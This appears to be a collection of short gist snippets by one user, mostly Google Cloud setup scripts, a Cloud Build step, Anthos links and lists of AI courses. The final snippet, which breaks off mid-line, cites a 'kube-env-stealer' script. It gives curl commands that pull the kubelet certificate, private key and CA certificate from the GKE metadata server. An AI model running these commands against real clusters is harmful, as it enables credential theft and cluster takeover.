pydevops

#!/usr/bin/env bash

# REF: https://cloud.google.com/armor/docs/integrating-cloud-armor#with_ingress 
# REF: https://cloud.google.com/armor/docs/configure-security-policies
# REF: https://cloud.google.com/iap/docs/load-balancer-howto 
# REF: https://cloud.google.com/sdk/gcloud/reference/compute/url-maps/add-path-matcher 
# REF: https://cloud.google.com/load-balancing/docs/https/setting-up-url-rewrite

export PROJECT_ID=$(gcloud config get-value project)
export PROJECT_USER=$(gcloud config get-value core/account) # set current user

pydevops

The following videos, or playlists, can help ensure consistent knowledge amongst all core team members and help make customer support easier.

• CS fundamentals - 12-min videos (9 hr)

  • Learn about computer origins, transistors, logic gates, and computer architecture

  • Learn about binary, bits, and bytes (bits, bytes, and octets key in networking)

  • Computer architecture, programming, languages, ML, robotics

pydevops

#!/usr/bin/env bash

export PROJECT_ID=$(gcloud config get-value project)
export PROJECT_USER=$(gcloud config get-value core/account) # set current user
export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
export IDNS=${PROJECT_ID}.svc.id.goog # workflow identity domain

export GCP_REGION="us-central1" # CHANGEME (OPT)
export GCP_ZONE="us-central1-a" # CHANGEME (OPT)
export NETWORK_NAME="default"

pydevops

#!/usr/bin/env bash

export PROJECT_ID=$(gcloud config get-value project)
export PROJECT_USER=$(gcloud config get-value core/account) # set current user
export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
export IDNS=${PROJECT_ID}.svc.id.goog # workflow identity domain

export GCP_REGION="us-east1" # CHANGEME (OPT)
export GCP_ZONE="us-east1-c" # CHANGEME (OPT)
export NETWORK_NAME="default"

pydevops

#!/usr/bin/env bash

export PROJECT_ID=$(gcloud config get-value project)
export PROJECT_USER=$(gcloud config get-value core/account) # set current user
export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
export IDNS=${PROJECT_ID}.svc.id.goog # workload identity domain

export GCP_REGION="us-central1"
export GCP_ZONE="us-central1-a"

pydevops

#!/usr/bin/env bash

export PROJECT_ID=$(gcloud config get-value project)
export PROJECT_USER=$(gcloud config get-value core/account) # set current user
export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
export IDNS=${PROJECT_ID}.svc.id.goog # workflow identity domain

export GCP_REGION="us-west1"

export ISTIO_VERSION="1.9.1"

pydevops

steps:
# Build image and push to GCR
- name: 'gcr.io/cloud-builders/docker'
  id: Build
  args:
  - 'build'
  - '-t'
  - 'gcr.io/$PROJECT_ID/$_SERVICE_NAME:v$_PR_NUMBER'
  - '.'
# TODO: look into [images]

pydevops

• https://cloud.google.com/anthos/multicluster-management/connect/registering-a-cluster
• https://cloud.google.com/anthos/multicluster-management/gateway/using
• https://cloud.google.com/service-mesh/docs/gke-install-multi-cluster
• https://gist.github.com/mikesparr/7a34c308c98837a390c8899d1450f2f2#file-anthos-hub-k3s-demo-sh-L137

gcloud services enable connectgateway.googleapis.com
gcloud container hub memberships list
gcloud container hub memberships get-credentials  <your-gke-connect-enabled-cluster-name>

pydevops

Gemma

• https://medium.com/google-cloud/making-ai-more-open-and-accessible-to-cloud-developers-with-gemma-on-vertex-ai-4b0fc2a14851

Courses (Free)

• msft
  • https://microsoft.github.io/AI-For-Beginners/
• goog
  • https://www.cloudskillsboost.google/paths/118
  • https://cloud.google.com/blog/topics/training-certifications/new-google-cloud-generative-ai-training-resources
• https://developers.google.com/machine-learning/crash-course/ml-intro

pydevops

• https://github.com/bgeesaman/kube-env-stealer/blob/master/gke-kubelet-csr-secret-extractor.sh

curl -s -H "Metadata-flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env

curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^KUBELET_CERT | awk '{print $2}' | base64 -d > kubelet.crt
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^KUBELET_KEY | awk '{print $2}' | base64 -d > kubelet.key
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env' | grep ^CA_CERT | awk '{print $2}' | base64 -d > apiserver.crt
curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl && chmod 755 ./kubectl

KUBERNETES_MASTER_NAME=$(curl -s -H "Metadata-flavor: Google" http://1